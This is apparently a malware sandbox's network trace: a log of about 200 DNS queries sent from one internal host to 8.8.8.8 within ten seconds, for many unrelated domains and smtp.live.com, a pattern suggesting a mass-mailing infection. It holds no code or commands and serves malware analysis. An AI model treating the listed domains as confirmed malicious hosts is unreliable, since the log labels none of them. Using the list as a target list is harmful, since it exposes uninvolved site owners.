Jul 27, 2023 21:54:02.277777910 CEST	192.168.2.4	8.8.8.8	0xbecf	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.288595915 CEST	192.168.2.4	8.8.8.8	0x2c94	Standard query (0)	nettle.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.299014091 CEST	192.168.2.4	8.8.8.8	0x7ed0	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.362786055 CEST	192.168.2.4	8.8.8.8	0xf8c1	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.487771034 CEST	192.168.2.4	8.8.8.8	0x26b5	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.494934082 CEST	192.168.2.4	8.8.8.8	0xa127	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.504638910 CEST	192.168.2.4	8.8.8.8	0xafc9	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.601723909 CEST	192.168.2.4	8.8.8.8	0x6418	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.649200916 CEST	192.168.2.4	8.8.8.8	0x5cb6	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.657798052 CEST	192.168.2.4	8.8.8.8	0xf6eb	Standard query (0)	averwin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.662554979 CEST	192.168.2.4	8.8.8.8	0x38dd	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.670703888 CEST	192.168.2.4	8.8.8.8	0xd3d7	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.670819998 CEST	192.168.2.4	8.8.8.8	0x20ae	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.671614885 CEST	192.168.2.4	8.8.8.8	0xc056	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.688673973 CEST	192.168.2.4	8.8.8.8	0xe09	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.699212074 CEST	192.168.2.4	8.8.8.8	0xf37b	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.709333897 CEST	192.168.2.4	8.8.8.8	0xeef5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.842116117 CEST	192.168.2.4	8.8.8.8	0x6274	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.844980955 CEST	192.168.2.4	8.8.8.8	0x3da7	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.929495096 CEST	192.168.2.4	8.8.8.8	0x3644	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.958925009 CEST	192.168.2.4	8.8.8.8	0x2418	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.000955105 CEST	192.168.2.4	8.8.8.8	0x72c8	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.014468908 CEST	192.168.2.4	8.8.8.8	0xf24c	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.027582884 CEST	192.168.2.4	8.8.8.8	0xe601	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.157619953 CEST	192.168.2.4	8.8.8.8	0x8a29	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.194051027 CEST	192.168.2.4	8.8.8.8	0x867b	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.205185890 CEST	192.168.2.4	8.8.8.8	0x96f8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.273529053 CEST	192.168.2.4	8.8.8.8	0x1616	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.479095936 CEST	192.168.2.4	8.8.8.8	0x23ca	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.578855038 CEST	192.168.2.4	8.8.8.8	0x6805	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.604784966 CEST	192.168.2.4	8.8.8.8	0x249d	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.806355953 CEST	192.168.2.4	8.8.8.8	0xd3d6	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.816761971 CEST	192.168.2.4	8.8.8.8	0x59a6	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.844851017 CEST	192.168.2.4	8.8.8.8	0x645	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.856394053 CEST	192.168.2.4	8.8.8.8	0x102e	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.898375034 CEST	192.168.2.4	8.8.8.8	0x78af	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.901335955 CEST	192.168.2.4	8.8.8.8	0x7ed9	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.059979916 CEST	192.168.2.4	8.8.8.8	0x5a6f	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.177980900 CEST	192.168.2.4	8.8.8.8	0xbf60	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.177980900 CEST	192.168.2.4	8.8.8.8	0x8037	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.187616110 CEST	192.168.2.4	8.8.8.8	0x4b38	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.366034985 CEST	192.168.2.4	8.8.8.8	0x586e	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.368779898 CEST	192.168.2.4	8.8.8.8	0x96f8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.399883032 CEST	192.168.2.4	8.8.8.8	0xb092	Standard query (0)	rtcasey.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.473974943 CEST	192.168.2.4	8.8.8.8	0x4605	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.514703035 CEST	192.168.2.4	8.8.8.8	0x59bf	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.545609951 CEST	192.168.2.4	8.8.8.8	0xff9c	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:04.912878990 CEST	192.168.2.4	8.8.8.8	0xeef5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.090020895 CEST	192.168.2.4	8.8.8.8	0x6331	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.492841005 CEST	192.168.2.4	8.8.8.8	0x96f8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.515166998 CEST	192.168.2.4	8.8.8.8	0x3be1	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:05.541851997 CEST	192.168.2.4	8.8.8.8	0xf431	Standard query (0)	at-shun.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.003869057 CEST	192.168.2.4	8.8.8.8	0xd69c	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.741960049 CEST	192.168.2.4	8.8.8.8	0xb0bc	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.746654034 CEST	192.168.2.4	8.8.8.8	0x5cd3	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.935642958 CEST	192.168.2.4	8.8.8.8	0x80c8	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.936356068 CEST	192.168.2.4	8.8.8.8	0x8698	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.937542915 CEST	192.168.2.4	8.8.8.8	0x4a49	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.939758062 CEST	192.168.2.4	8.8.8.8	0x5eb7	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.991151094 CEST	192.168.2.4	8.8.8.8	0x271d	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.993019104 CEST	192.168.2.4	8.8.8.8	0x663b	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.994436026 CEST	192.168.2.4	8.8.8.8	0x364b	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:06.996124029 CEST	192.168.2.4	8.8.8.8	0x639d	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.028107882 CEST	192.168.2.4	8.8.8.8	0xf6c0	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.082853079 CEST	192.168.2.4	8.8.8.8	0xb1	Standard query (0)	smtp.live.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.086328983 CEST	192.168.2.4	8.8.8.8	0x956c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.154540062 CEST	192.168.2.4	8.8.8.8	0x5145	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.163742065 CEST	192.168.2.4	8.8.8.8	0x7800	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.224006891 CEST	192.168.2.4	8.8.8.8	0x532c	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.251533985 CEST	192.168.2.4	8.8.8.8	0xcb22	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.331717014 CEST	192.168.2.4	8.8.8.8	0x46b1	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.344295025 CEST	192.168.2.4	8.8.8.8	0x8d31	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.348396063 CEST	192.168.2.4	8.8.8.8	0x6891	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.351881027 CEST	192.168.2.4	8.8.8.8	0xf58d	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.366847992 CEST	192.168.2.4	8.8.8.8	0xd490	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.453893900 CEST	192.168.2.4	8.8.8.8	0x79d9	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.456671000 CEST	192.168.2.4	8.8.8.8	0xd63c	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.462419033 CEST	192.168.2.4	8.8.8.8	0x4ec6	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.502285004 CEST	192.168.2.4	8.8.8.8	0x63fc	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.509901047 CEST	192.168.2.4	8.8.8.8	0xd9af	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.511074066 CEST	192.168.2.4	8.8.8.8	0x2d7d	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.514031887 CEST	192.168.2.4	8.8.8.8	0x376e	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.516041994 CEST	192.168.2.4	8.8.8.8	0x3f30	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.625029087 CEST	192.168.2.4	8.8.8.8	0x2851	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.630002022 CEST	192.168.2.4	8.8.8.8	0x96f8	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.664226055 CEST	192.168.2.4	8.8.8.8	0x6aab	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.671288013 CEST	192.168.2.4	8.8.8.8	0x5ae4	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.672930956 CEST	192.168.2.4	8.8.8.8	0x401f	Standard query (0)	michiana.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.686273098 CEST	192.168.2.4	8.8.8.8	0xdbcc	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.690244913 CEST	192.168.2.4	8.8.8.8	0x6e08	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.691706896 CEST	192.168.2.4	8.8.8.8	0x413c	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.738714933 CEST	192.168.2.4	8.8.8.8	0xb24d	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.772810936 CEST	192.168.2.4	8.8.8.8	0xd02b	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.784472942 CEST	192.168.2.4	8.8.8.8	0x9e56	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.808378935 CEST	192.168.2.4	8.8.8.8	0xf6ad	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.845340967 CEST	192.168.2.4	8.8.8.8	0xa5c6	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:07.880990028 CEST	192.168.2.4	8.8.8.8	0x2634	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.037909985 CEST	192.168.2.4	8.8.8.8	0xe95f	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.133193970 CEST	192.168.2.4	8.8.8.8	0x956c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.147943974 CEST	192.168.2.4	8.8.8.8	0x8a2f	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.154194117 CEST	192.168.2.4	8.8.8.8	0x96f3	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.204750061 CEST	192.168.2.4	8.8.8.8	0x3e72	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.260715961 CEST	192.168.2.4	8.8.8.8	0x241c	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.300184965 CEST	192.168.2.4	8.8.8.8	0x341	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.347909927 CEST	192.168.2.4	8.8.8.8	0x7d45	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.414263964 CEST	192.168.2.4	8.8.8.8	0xaa70	Standard query (0)	78san.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.525414944 CEST	192.168.2.4	8.8.8.8	0xbc12	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.559478045 CEST	192.168.2.4	8.8.8.8	0x74ec	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.650217056 CEST	192.168.2.4	8.8.8.8	0x50f0	Standard query (0)	ssm.ch	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.796885967 CEST	192.168.2.4	8.8.8.8	0x4971	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.800090075 CEST	192.168.2.4	8.8.8.8	0x3fc9	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.809807062 CEST	192.168.2.4	8.8.8.8	0xe689	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.903016090 CEST	192.168.2.4	8.8.8.8	0x755e	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.905533075 CEST	192.168.2.4	8.8.8.8	0x6998	Standard query (0)	ntc.edu.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:08.986639023 CEST	192.168.2.4	8.8.8.8	0x7942	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.098645926 CEST	192.168.2.4	8.8.8.8	0x3c74	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.171730042 CEST	192.168.2.4	8.8.8.8	0x8645	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.206859112 CEST	192.168.2.4	8.8.8.8	0x2e8f	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.209115028 CEST	192.168.2.4	8.8.8.8	0x956c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.266719103 CEST	192.168.2.4	8.8.8.8	0x81fe	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.317941904 CEST	192.168.2.4	8.8.8.8	0xda39	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.320327044 CEST	192.168.2.4	8.8.8.8	0x40d4	Standard query (0)	www.photo4b.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.326122999 CEST	192.168.2.4	8.8.8.8	0xfe20	Standard query (0)	cubodown.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.380322933 CEST	192.168.2.4	8.8.8.8	0x6bce	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.450964928 CEST	192.168.2.4	8.8.8.8	0x7d45	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.470593929 CEST	192.168.2.4	8.8.8.8	0xb74	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.486473083 CEST	192.168.2.4	8.8.8.8	0x7299	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.591120005 CEST	192.168.2.4	8.8.8.8	0x515e	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.742557049 CEST	192.168.2.4	8.8.8.8	0xa0de	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.813517094 CEST	192.168.2.4	8.8.8.8	0xd811	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.816353083 CEST	192.168.2.4	8.8.8.8	0xf065	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:09.950645924 CEST	192.168.2.4	8.8.8.8	0x2c66	Standard query (0)	aiolos-sa.gr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.004403114 CEST	192.168.2.4	8.8.8.8	0x4b1b	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.035635948 CEST	192.168.2.4	8.8.8.8	0xbfd	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.043519974 CEST	192.168.2.4	8.8.8.8	0xa3f8	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.078448057 CEST	192.168.2.4	8.8.8.8	0x5048	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.209425926 CEST	192.168.2.4	8.8.8.8	0x9df	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.288419962 CEST	192.168.2.4	8.8.8.8	0xe848	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.336407900 CEST	192.168.2.4	8.8.8.8	0x889e	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.395490885 CEST	192.168.2.4	8.8.8.8	0x45e5	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.403641939 CEST	192.168.2.4	8.8.8.8	0xa026	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.477116108 CEST	192.168.2.4	8.8.8.8	0x7d45	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.597914934 CEST	192.168.2.4	8.8.8.8	0xe7ad	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.600246906 CEST	192.168.2.4	8.8.8.8	0x6b42	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.697576046 CEST	192.168.2.4	8.8.8.8	0xdbb	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.930488110 CEST	192.168.2.4	8.8.8.8	0x96b9	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.953706026 CEST	192.168.2.4	8.8.8.8	0x7acf	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:10.957669020 CEST	192.168.2.4	8.8.8.8	0x30ba	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.059525013 CEST	192.168.2.4	8.8.8.8	0xff9d	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.071616888 CEST	192.168.2.4	8.8.8.8	0xcce7	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.082020044 CEST	192.168.2.4	8.8.8.8	0xaf5	Standard query (0)	skgm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.304045916 CEST	192.168.2.4	8.8.8.8	0x956c	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.374356985 CEST	192.168.2.4	8.8.8.8	0xa229	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.378206968 CEST	192.168.2.4	8.8.8.8	0xdcec	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.394428015 CEST	192.168.2.4	8.8.8.8	0xae11	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.601367950 CEST	192.168.2.4	8.8.8.8	0xf386	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.625504017 CEST	192.168.2.4	8.8.8.8	0xd687	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.695343018 CEST	192.168.2.4	8.8.8.8	0xbbbd	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.700740099 CEST	192.168.2.4	8.8.8.8	0x7fe3	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.743333101 CEST	192.168.2.4	8.8.8.8	0x402a	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.860835075 CEST	192.168.2.4	8.8.8.8	0x3978	Standard query (0)	nblewis.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.863871098 CEST	192.168.2.4	8.8.8.8	0xeb5f	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.863872051 CEST	192.168.2.4	8.8.8.8	0x2890	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.864443064 CEST	192.168.2.4	8.8.8.8	0x187	Standard query (0)	revoldia.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.864592075 CEST	192.168.2.4	8.8.8.8	0x8759	Standard query (0)	dog-jog.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.866545916 CEST	192.168.2.4	8.8.8.8	0x14e2	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.906327963 CEST	192.168.2.4	8.8.8.8	0x7402	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.911148071 CEST	192.168.2.4	8.8.8.8	0xec00	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:11.960568905 CEST	192.168.2.4	8.8.8.8	0x97c6	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.002553940 CEST	192.168.2.4	8.8.8.8	0xfb62	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.004535913 CEST	192.168.2.4	8.8.8.8	0xaecd	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.080468893 CEST	192.168.2.4	8.8.8.8	0xeb8b	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.126873970 CEST	192.168.2.4	8.8.8.8	0xcd4f	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.129717112 CEST	192.168.2.4	8.8.8.8	0xab22	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.129718065 CEST	192.168.2.4	8.8.8.8	0x95e4	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.166616917 CEST	192.168.2.4	8.8.8.8	0x13ef	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.210608006 CEST	192.168.2.4	8.8.8.8	0x69ab	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.255260944 CEST	192.168.2.4	8.8.8.8	0xf2d5	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.256560087 CEST	192.168.2.4	8.8.8.8	0x2e35	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.382659912 CEST	192.168.2.4	8.8.8.8	0x7310	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.474623919 CEST	192.168.2.4	8.8.8.8	0xbe24	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.532629967 CEST	192.168.2.4	8.8.8.8	0x7d45	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.602688074 CEST	192.168.2.4	8.8.8.8	0x78d9	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.640911102 CEST	192.168.2.4	8.8.8.8	0xfeb9	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.768768072 CEST	192.168.2.4	8.8.8.8	0xd581	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.864686012 CEST	192.168.2.4	8.8.8.8	0x8988	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.942955971 CEST	192.168.2.4	8.8.8.8	0x2cd8	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.973998070 CEST	192.168.2.4	8.8.8.8	0xf678	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.994024038 CEST	192.168.2.4	8.8.8.8	0xe13e	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:12.998073101 CEST	192.168.2.4	8.8.8.8	0x80ac	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
